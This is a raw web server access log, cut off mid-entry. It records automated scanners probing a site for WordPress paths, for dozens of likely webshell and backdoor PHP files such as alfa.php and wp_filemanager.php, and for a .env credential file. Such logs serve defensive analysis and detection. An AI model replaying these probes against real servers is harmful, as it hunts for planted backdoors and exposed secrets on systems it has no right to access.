89.187.187.69 - - [08/Feb/2026:16:49:56 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:36 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:38 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:39 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:40 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:40 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:41 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:42 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:42 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:43:43 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:14 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:17 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:18 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:19 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:19 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:20 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:21 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:22 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:23 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:27 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:28 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:29 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:30 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:31 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:31 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:32 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:33 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:48:34 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 89.187.187.69 - - [08/Feb/2026:16:49:01 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:48 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:50 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:53 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:56 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:58 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:06 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:09 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:09 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:13 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:15 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:37 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:05:24 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:40 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:42 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:38 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:41 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:43 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:46 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:48 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:50 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:53 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:56 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:01 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:40 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:44 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:49 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:05:34 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:20 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:20 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:23 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:02 +0300] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:01:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:02 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:05 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:08 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:12 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:14 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:54 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:58 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:00 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:25 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:25 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:25 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:29 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:32 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:05:08 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:05:58 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:14 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:47 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:51 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:55 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:57 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:59 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:21 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:23 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:26 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:30 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:36 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:55 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:58 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:02 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:54 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:56 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:58 +0300] "GET /wp-content/uploads/gravity_forms/g/e/e/a/Casper.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:19 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:22 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:20 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:24 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:27 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:29 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:31 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:34 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:36 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:21 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:21 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:58 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:02 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:12 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 91.202.4.80 - - [08/Feb/2026:17:56:42 +0300] "GET /ws67.php?p= HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 20.123.25.77 - - [08/Feb/2026:18:03:06 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:55 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:59 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:53 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:29 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:32 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:35 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:37 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:41 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:44 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:45 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:48 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:50 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:50 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:54 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:57 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:08 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:12 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:14 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:05 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:06 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:48 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:11 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:15 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:59 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:05:45 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:09 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:24 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:24 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:28 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:30 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:31 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:34 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:50 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:11 +0300] "GET /scripts/wpup.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:13 +0300] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:29 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:02:32 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:40 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:43 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:46 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:03:50 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:04:54 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:46 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:28 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:09:45 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:06 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:09 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:12 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:14 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:17 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:19 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:23 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:29 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:31 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:10:33 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:17 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:19 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:21 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:24 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:25 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:28 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:31 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:33 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:34 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:37 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:11:39 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:36 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:37 +0300] "GET /wp/wp-content/plugins/classic-editor/js/geido.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:40 +0300] "GET /myy.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:43 +0300] "GET /wp-content/halo.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:45 +0300] "GET /wp-content/themes/twentytwentyfour/assets/css/geido.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:47 +0300] "GET /wp-includes/Requests/library/upload.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:50 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:52 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:52 +0300] "GET /dapa.php? HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:19 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:06:20 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:38 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:07:43 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:04 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:06 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:08 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:10 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:08:12 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.123.25.77 - - [08/Feb/2026:18:12:27 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 23.100.66.55 - - [08/Feb/2026:19:14:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 69.171.230.5 - - [08/Feb/2026:19:10:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 98.89.254.180 - - [08/Feb/2026:18:50:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 20.203.129.2 - - [08/Feb/2026:20:13:09 +0300] "GET /dds.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:13 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:32 +0300] "GET /pu.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:35 +0300] "GET /wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:55 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:01 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:12:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:53 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:55 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:34 +0300] "GET /wnwl19.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:38 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:43 +0300] "GET /doo.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:28 +0300] "GET /rx.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:31 +0300] "GET /sup.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:15:45 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:26 +0300] "GET /clcdu.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:05 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 161.97.157.2 - - [08/Feb/2026:20:16:27 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 91.215.85.12 - - [08/Feb/2026:19:50:43 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.203.129.2 - - [08/Feb/2026:20:13:45 +0300] "GET /51.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:56 +0300] "GET /C1.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:15 +0300] "GET /ak.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:16 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:21 +0300] "GET /bypltspd.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:13:26 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:14:13 +0300] "GET /bfasb.php HTTP/1.1" 301 795 "-" "-" 74.248.155.142 - - [08/Feb/2026:20:21:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:27 +0300] "GET /sfcl.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:39 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.203.129.2 - - [08/Feb/2026:20:16:39 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 43.157.98.187 - - [08/Feb/2026:21:46:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.196 - - [08/Feb/2026:22:16:06 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:08 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.196 - - [08/Feb/2026:22:16:08 